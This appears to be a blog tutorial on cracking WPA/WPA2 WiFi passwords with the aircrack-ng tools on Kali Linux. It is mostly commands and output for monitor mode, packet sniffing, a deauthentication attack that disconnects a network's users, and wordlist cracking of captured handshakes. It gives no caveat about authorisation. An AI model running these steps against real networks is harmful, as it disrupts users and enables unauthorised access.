<p>Every device with access to the internet comes with a chip known as the Network Interface Card (<strong>NIC</strong>). This chip is responsible for capturing packets sent by the router to our device.</p>



<p>By default, it is set to <strong>Managed Mode</strong>. That means it can only listen to packets sent directly to our device (packets with our devices’ MAC address as the destination MAC). To crack a WPA or WPA2 WIFi, we need to capture many of these packets. Therefore, we will set our <strong>NIC</strong> to <strong>Monitor Mode</strong>. In Monitor Mode, the card will listen to all packets being sent by the router capturing as many packets as possible.</p>



<p>Up to this point, I believe you now have the basic knowledge required to get you started with Network hacking. Boot your Kali Linux machine, and we can begin to crack WiFi passwords.</p>



<h2 id="an-overview-of-how-the-method-works" class="wp-block-heading">An Overview of How The Method Works</h2>



<p>To give you a short and simple overview so you know what&#8217;s coming up, we will:</p>



<ol class="wp-block-list"><li>Set our wireless network adapter in <strong>monitor mode</strong> so it can listen for packets</li><li>List all available WiFi networks</li><li>Target a single WiFi network from which we&#8217;ll try to capture <strong>Handshake packets</strong> &#8211; these are packets transmitted between the router and the client computer, when they&#8217;re trying to establish a connection. We want to capture these packets, because some of them will contain the <a href="https://docs.oracle.com/cd/E26180_01/Platform.94/ATGPersProgGuide/html/s0506passwordhashing01.html" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">hashed password.<span class="wpel-icon wpel-image wpel-icon-19"></span></a></li><li>We won&#8217;t be decrypting the hashed password, but it still provides a valuable clue. Next we&#8217;ll use a large list of popular passwords, and we&#8217;ll turn each one into a hashed form, and compare them with the WiFi password, in it&#8217;s hashed form, that we got from listening to packets.</li><li>When the hashes match, this means that we found the password.</li></ol>



<h3 id="important-notes" class="wp-block-heading">Important Notes</h3>



<ol class="wp-block-list"><li>In our tutorial we&#8217;ll use a popular list of passwords, called <strong>rockyou.txt</strong>, that comes with Kali Linux.</li><li>If the password you&#8217;re trying to crack isn&#8217;t in the passwords list, also called <code>wordlist</code>, then we won&#8217;t be able to crack it.</li><li>You can check if the password is in the wordlist by running something like <code>sudo grep -F 'yourpassword' /usr/share/rockyou.txt</code>.</li><li>Keep in mind that <strong>/usr/share/rockyou.txt</strong> is archived by default, into&nbsp;<strong>/usr/share/rockyou.txt.gz</strong>, so you&#8217;ll have to extract it first. To do this you can run:<br>cd /usr/share/wordlists &amp;&amp; sudo gzip -d rockyou.txt.gz</li></ol>



<h2 id="step-1-put-your-card-in-monitor-mode" class="wp-block-heading">Step 1. Put Your Card in Monitor Mode</h2>



<p>On your Kali machine, open the Terminal and execute the command below to list all the connected network devices.</p>



<pre class="wp-block-preformatted prompt">ifconfig</pre>



<p>Or</p>



<pre class="wp-block-preformatted prompt">ip a</pre>



<p class="neon-border"><strong>Related</strong>: In case you&#8217;re also running Kali Linux in a virtual machine, here is a tutorial on how to connect wireless adapter to Kali Linux in VirtualBox/VMware &#8211; <a href="https://nooblinux.com/connecting-a-wireless-adapter-to-kali-linux-virtual-machine/" data-wpel-link="internal">Connecting a Wireless Adapter to a Kali Linux Virtual Machine</a>. It also covers the types of wireless adapters you can place in monitor mode and that can do packet injection.</p>



<p>In Kali, the Wireless card will be listed as something like <code>wlan0</code>. I&#8217;m using Kali Linux in VirtualBox, with a wireless adapter connected.</p>



<p>In my case, the WiFi network is listed as <code>wlan0</code>:</p>


<div class="codeblock-title">Output from ifconfig</div>



<pre class="EnlighterJSRAW" data-enlighter-language="raw" data-enlighter-theme="" data-enlighter-highlight="19" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">eth0: flags=4163&amp;lt;UP,BROADCAST,RUNNING,MULTICAST&amp;gt;  mtu 1500
        inet 10.0.2.15  netmask 255.255.255.0  broadcast 10.0.2.255
        inet6 fe80::a00:27ff:fe2f:7ffe  prefixlen 64  scopeid 0x20&amp;lt;link&amp;gt;
        ether 08:00:27:2f:7f:fe  txqueuelen 1000  (Ethernet)
        RX packets 1  bytes 590 (590.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 16  bytes 1452 (1.4 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73&amp;lt;UP,LOOPBACK,RUNNING&amp;gt;  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10&amp;lt;host&amp;gt;
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 16  bytes 880 (880.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 16  bytes 880 (880.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

wlan0: flags=4099&amp;lt;UP,BROADCAST,MULTICAST&amp;gt;  mtu 2312
        unspec ca-d3-dd-57-cf-30-00-B9-00-00-00-00-00-00-00-00  txqueuelen 1000  (UNSPEC)
        RX packets 20790  bytes 0 (0.0 B)
        RX errors 0  dropped 20790  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0</pre>



<p>To put your wireless adapter in <strong>monitor mode</strong> (a mode where the adapter can capture all kinds of WiFi packets) , we will use a tool known as <a href="https://www.aircrack-ng.org/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">airmon-ng<span class="wpel-icon wpel-image wpel-icon-19"></span></a>. Execute the command below and replace <code>wlan0</code> with the name of your wireless card.</p>



<pre class="wp-block-preformatted prompt">sudo airmon-ng start wlan0</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

    PID Name
    399 NetworkManager
   1142 wpa_supplicant

PHY     Interface       Driver          Chipset

phy0    wlan0           8188eu          TP-Link TL-WN722N v2/v3 [Realtek RTL8188EUS]
                (mac80211 monitor mode already enabled for [phy0]wlan0 on [phy0]wlan0)</pre>



<p class="neon-border"><strong>Note</strong>: You won’t access the internet with your card in monitor mode. It will not even be listed under the network devices on your Settings app.</p>



<p>If your card keeps reverting to <strong>Managed mode</strong>, you will need to kill all interfering processes with the command below.</p>



<pre class="wp-block-preformatted prompt">sudo airmon-ng check kill</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">Killing these processes:

    PID Name
   1142 wpa_supplicant</pre>



<p>To check whether your card was successfully put to monitor mode, execute the command below:</p>



<pre class="wp-block-preformatted prompt">iwconfig</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">lo        no wireless extensions.

eth0      no wireless extensions.

wlan0     IEEE 802.11b  ESSID:""  Nickname:"&lt;WIFI@REALTEK&gt;"
          Mode:Monitor  Frequency:2.457 GHz  Access Point: Not-Associated   
          Sensitivity:0/0  
          Retry:off   RTS thr:off   Fragment thr:off
          Power Management:off
          Link Quality=0/100  Signal level=-100 dBm  Noise level=0 dBm
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0</pre>



<p>From the image above, you can see the <code>wlan0</code> card is set to <strong>Monitor mode</strong>. In some cases, the Kali system will add the suffix <em>&#8220;mon&#8221;</em> to any card in Monitor mode. For example, <code>wlan0</code> would be renamed to <code>wlan0mon</code>. If that&#8217;s the case for you, that is the name you will use anytime you want to call the WiFi card.</p>



<h2 id="step-2-test-your-card-for-packet-injection" class="wp-block-heading">Step 2. Test Your Card For Packet Injection</h2>



<p>In most wireless attacks, you will need to perform packet injection (Forging or spoofing packets) and unfortunately, not all Network Cards support packet injection.</p>



<p>To test your card for packet injection, execute the command below and ensure you are near WiFi networks. Remember to replace wlan1 with the name of your wireless card in monitor mode.</p>



<pre class="wp-block-preformatted prompt">sudo aireplay-ng --test wlan0</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">20:10:12  Trying broadcast probe requests...
20:10:12  Injection is working!
20:10:14  Found 7 APs

20:10:14  Trying directed probe requests...
20:10:14  73:6F:5F:92:73:DD - channel: 1 - 'N00bLx Office'
20:10:14  Ping (min/avg/max): 1.831ms/9.501ms/16.956ms Power: -65.80
20:10:14  30/30: 100%</pre>



<p>From the image above, you can see my card can inject packets into the network. If that&#8217;s not the case for you, you can buy a USB Network card (WiFi dongle) that supports packet injection.</p>



<p class="neon-border">You can also find a list of recommended network cards, along with beginner friendly explanations, in our related tutorial <a href="https://nooblinux.com/connecting-a-wireless-adapter-to-kali-linux-virtual-machine/" data-wpel-link="internal">Connecting a Wireless Adapter to a Kali Linux Virtual Machine</a>.</p>



<h2 id="step-3-packet-sniffing-using-airodump-ng" class="wp-block-heading">Step 3. Packet Sniffing Using Airodump-ng</h2>



<p>Now that we have enabled Monitor mode on our wireless card and even tested it for packet injection, we can now capture packets on our WiFi networks. We will use a tool known as <code>airodump-ng</code>. Execute the command below and press <strong>Enter</strong>.</p>



<pre class="wp-block-preformatted prompt">sudo airodump-ng &lt;wifi-card-in-monitor-mode&gt;</pre>



<p>In my case, I&#8217;ll run:</p>



<pre class="wp-block-preformatted prompt">sudo airodump-ng wlan0</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">CH  4 ][ Elapsed: 12 s ][ 2021-08-27 20:16                                                
                                                                                          
BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID           
                                                                                          
17:5A:78:5B:AE:56  -69       44        0    0   1   65   WPA2 CCMP   PSK  Mrs. Test WiFi Network
07:E1:B2:8E:0E:82  -50       49        0    0   6   54e. WPA2 TKIP   PSK  N00bLx Bathroom WiFi          
17:93:7E:F0:FF:A8  -51       41       35    5   1  130   WPA2 CCMP   PSK  The Neighbour       
D3:DA:6D:87:61:86  -52       45        0    0   6   54e. WPA  TKIP   PSK  &lt;length:  0&gt;    
73:6F:5F:92:73:DD  -57       41        0    0   1  130   WPA2 CCMP   PSK  N00bLx Office       
73:E4:D1:03:B1:8D  -65       37        0    0   1  130   WPA2 CCMP   PSK  Mayor's Office      
9B:9D:78:DC:92:43  -67       45        0    0   8  130   WPA2 CCMP   PSK  Sheshe          
AB:25:7A:0A:5C:42  -77       33        4    0   8  130   WPA2 CCMP   PSK  Skynet-4114   
AB:AA:DC:10:4D:3F  -76       27        0    0  10  130   WPA2 CCMP   PSK  Mark_cdd5e8     
B3:10:82:55:F1:57  -86       21        0    0  11  130   WPA2 CCMP   PSK  MARK-7NfA       
2F:78:E6:5B:0F:2B  -93       40        1    0   5  540   WPA2 CCMP   PSK  home network     
AB:30:6D:D1:31:E5  -93       27        0    0   6  130   WPA2 CCMP   PSK  Mobile-1615   
F3:F1:AE:18:A2:46  -93        4        0    0   1   48   WPA2 CCMP   PSK  MrBot_80     
63:8C:27:81:CB:8D  -93        2        0    0  11  130   WPA2 CCMP   PSK  UPC2076594      
D7:BF:F1:DF:52:23  -93        3        0    0   5  130   WPA2 CCMP   PSK  Bob      
EB:48:C0:6D:98:35  -86       24        7    2   3  130   WPA2 CCMP   PSK  TP-Link_47F0    
07:E1:06:1A:32:B1  -89       35        0    0  11  130   WPA2 CCMP   PSK  Some Netowrk       
4F:FB:76:4D:66:EA  -93       14        0    0  11  130   WPA2 CCMP   PSK  Mobile-746339   
9B:53:21:87:20:38  -93       17        2    0   3  130   WPA2 CCMP   PSK  LALA124173       
E3:88:A3:6E:6B:F5  -93        5        0    0   1  130   WPA2 CCMP   PSK  HAI-Fh9n       
CB:9B:94:7E:0A:AE  -93        2        0    0   1  130   WPA2 CCMP   PSK  BATMAN2629688      
6B:8B:B1:59:88:0E  -93        9        0    0   1  130   WPA2 CCMP   PSK  HI              
                                                                                     
                                                                                          
BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes         
                                                                                          
(not associated)   33:C6:35:3F:05:D8  -94    0 - 1     41       10         LALA-4qnS      
(not associated)   57:B1:C8:C5:37:1B  -94    0 - 1      0        1                        
0F:93:59:43:F0:E4  23:1D:97:42:42:F3   -1    1e- 0      0        3                        
0F:93:59:43:F0:E4  9B:C5:40:6E:34:34   -1    1e- 0      0        3                        
0F:93:59:43:F0:E4  13:17:36:01:1A:D2   -1    1e- 0      0        2                        
0F:93:59:43:F0:E4  53:85:C5:90:21:D9  -74    1e- 1e     8       12</pre>



<p>You will see a screen similar to the one in the image above. The program will continue running unless you close it using <strong>Ctrl + C</strong> or <strong>Ctrl + Z</strong>.</p>



<p>Let&#8217;s discuss the information on this screen.</p>



<ul class="wp-block-list"><li><strong>BSSID</strong>: This column displays the MAC address of the target network. That is the MAC address of the router or the Access Point.</li><li><strong>PWR</strong>: This is the signal strength or the power of the network. The closer the number is to zero, the better signal we will get.</li><li><strong>Beacons</strong>: These are frames sent by the Access point to broadcast its existence</li><li><strong>Data</strong>: These are the valuable data packets or frames that will help us in cracking wireless networks</li><li><strong>#/S</strong>: This column shows us the number of data packets we have collected in the last 10 seconds</li><li><strong>CH</strong>: This column indicates the channel on which the network is operating.</li><li><strong>MB</strong>: That indicates the maximum speed supported by the network.</li><li><strong>ENC</strong>: This column indicates the encryption used by the network</li><li><strong>CIPHER</strong>: Indicates the Cipher used on the network</li><li><strong>Auth</strong>: This shows the mode of authentication used to connect to the network</li><li><strong>ESSID</strong>: This column indicates the name of the WIFI network</li></ul>



<p>In this step, all we did was random packet sniffing. We did not target any particular WiFi network or store the sniffed packets.</p>



<p>However, that is useful since it gives you detailed information about networks near you.</p>



<p>In the next step, we will look at targeted packet sniffing.</p>



<h2 id="step-4-targeted-packet-sniffing" class="wp-block-heading">Step 4. Targeted Packet Sniffing</h2>



<p>The difference between <strong>WPA</strong> and <strong>WPA2</strong> is that WPA uses TKIP (Temporal Key Integrity Protocol) while the latter is capable of using TKIP and any other advanced AES algorithm. However, the method that we will use to crack the password is the same for both networks.</p>



<p>To crack WPA/WPA2 wifi networks, we will utilize the handshake packets. These are four packets transmitted between the router and the client when establishing a network connection. To capture packets on a specific network, we will use the syntax below.</p>



<pre class="wp-block-preformatted prompt">sudo airodump-ng --bssid &lt;MAC-of-AccessPoint&gt; --channel &lt;channel-number&gt; --write &lt;name-of-file&gt; &lt;card-name&gt;</pre>



<p>From the image above, I will be cracking the password for the network with ESSID &#8220;Mrs. Test WiFi&#8221; I will use the command below.</p>



<pre class="wp-block-preformatted prompt">sudo airodump-ng --bssid 17:5A:78:5B:AE:56 --channel 1 --write mrstestwifiPackets wlan0</pre>



<p>Now all you need to do is sit back and wait for the tool to capture as many Handshake packets as possible.</p>



<pre class="wp-block-preformatted">CH  1 ][ Elapsed: 6 s ][ 2021-08-27 20:20                                                                                      
                                                                                                                               
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                            
                                                                                                                               
17:5A:78:5B:AE:56  -22  93       88        0    0   1   65   WPA2 CCMP   PSK  Mrs. Test WiFi Network                           
                                                                                                                               
BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes</pre>



<p class="purple-border"><strong><span style="text-decoration: underline;">However, there is one problem</span></strong>.<br><br>Handshake packets are only captured once &#8211; when a device connects to the network. Therefore, to capture as many handshake packets as possible, we will need to use an attack to remove users from the network and reconnect. Deauthentication attack. That will help us capture more handshake packets.</p>



<p>To carry out a deuathentication attack, open a <strong>new Terminal</strong>, while leaving the current one running and trying to capture Handshake packets,&nbsp;and execute the command below:</p>



<pre class="wp-block-preformatted prompt">sudo aireplay-ng --deauth 50 -a &lt;BSSID-MAC&gt; &lt;Wireless-Card&gt;</pre>



<p>In my case, I&#8217;ll run:</p>



<pre class="wp-block-preformatted prompt">sudo aireplay-ng --deauth 50 -a 17:5A:78:5B:AE:56 wlan0</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">20:32:03  Waiting for beacon frame (BSSID: 17:5A:78:5B:AE:56) on channel 1
NB: this attack is more effective when targeting
a connected wireless client (-c &lt;client's mac&gt;).
20:32:03  Sending DeAuth (code 7) to broadcast -- BSSID: [17:5A:78:5B:AE:56]
20:32:03  Sending DeAuth (code 7) to broadcast -- BSSID: [17:5A:78:5B:AE:56]
20:32:04  Sending DeAuth (code 7) to broadcast -- BSSID: [17:5A:78:5B:AE:56]
20:32:05  Sending DeAuth (code 7) to broadcast -- BSSID: [17:5A:78:5B:AE:56]
20:32:05  Sending DeAuth (code 7) to broadcast -- BSSID: [17:5A:78:5B:AE:56]
20:32:06  Sending DeAuth (code 7) to broadcast -- BSSID: [17:5A:78:5B:AE:56]
...</pre>



<p>The command will send 50 deauthentication packets, which are enough to disconnect several clients from the router. Once they reconnect, we will capture their handshake packets. All these packets are stored in the “<em>mrtestwifiPackets”</em> file we specified when performing a targeted sniffing.</p>



<h2 id="step-5-cracking-wpa-wpa2-using-a-wordlist" class="wp-block-heading">Step 5. Cracking WPA/WPA2 Using a Wordlist</h2>



<p>When we have captured enough Handshake packets, we can start to crack them using a wordlist.</p>



<p>Execute the ls command on your working directory. You will see several files with the name which you specified to save your sniffed packets. Look for the file with the <code>.cap</code> extension. That is the file we will use to crack our WiFi password.</p>



<p>The tool that we will use is known as <code>aircrack-ng</code>. Use the syntax below:</p>



<pre class="wp-block-preformatted prompt">sudo aircrack-ng &lt;packet-file-name&gt; -w &lt;wordlist_path&gt;</pre>



<p>In my case, I will run:</p>



<pre class="wp-block-preformatted prompt">sudo aircrack-ng mrstestwifiPackets.cap -w /usr/share/wordlists/rockyou.txt</pre>



<p>And here is the successfully cracked WiFi key.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="831" height="470" src="https://nooblinux.com/wp-content/uploads/2021/10/cracked-key.webp" alt="Successfully Cracked WiFi Key" class="wp-image-3393" srcset="https://nooblinux.com/wp-content/uploads/2021/10/cracked-key.webp 831w, https://nooblinux.com/wp-content/uploads/2021/10/cracked-key-300x170.webp 300w, https://nooblinux.com/wp-content/uploads/2021/10/cracked-key-768x434.webp 768w" sizes="auto, (max-width: 831px) 100vw, 831px" /></figure>



<p>As you can see where it says <code>KEY FOUND! [ mrpassword]</code>.</p>



<p>This process might take some time, depending on your wordlist and the complexity of the key. Some tips you can use to speed up the process are using the GPU, which is much faster, or uploading the captured handshake file to an online cracking site. These sites use powerful computers which can crack passwords even faster. You can also create your wordlist using a Python or Bash script or use the crunch tool.</p>



<h2 id="conclusion" class="wp-block-heading">Conclusion</h2>



<p>This tutorial has given you a detailed guide on cracking WPA/WPA2 key against a wordlist. With a large wordlist, you can easily crack different combinational passwords. However, if the key is very complex, using a wordlist may not always work. If you encountered any issues, then feel free to let us know in the comments and we&#8217;ll get back to you as soon as we can.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://nooblinux.com/crack-wpa-wpa2-wifi-passwords-using-aircrack-ng-kali-linux/feed/</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3381</post-id>	</item>
	</channel>
</rss>
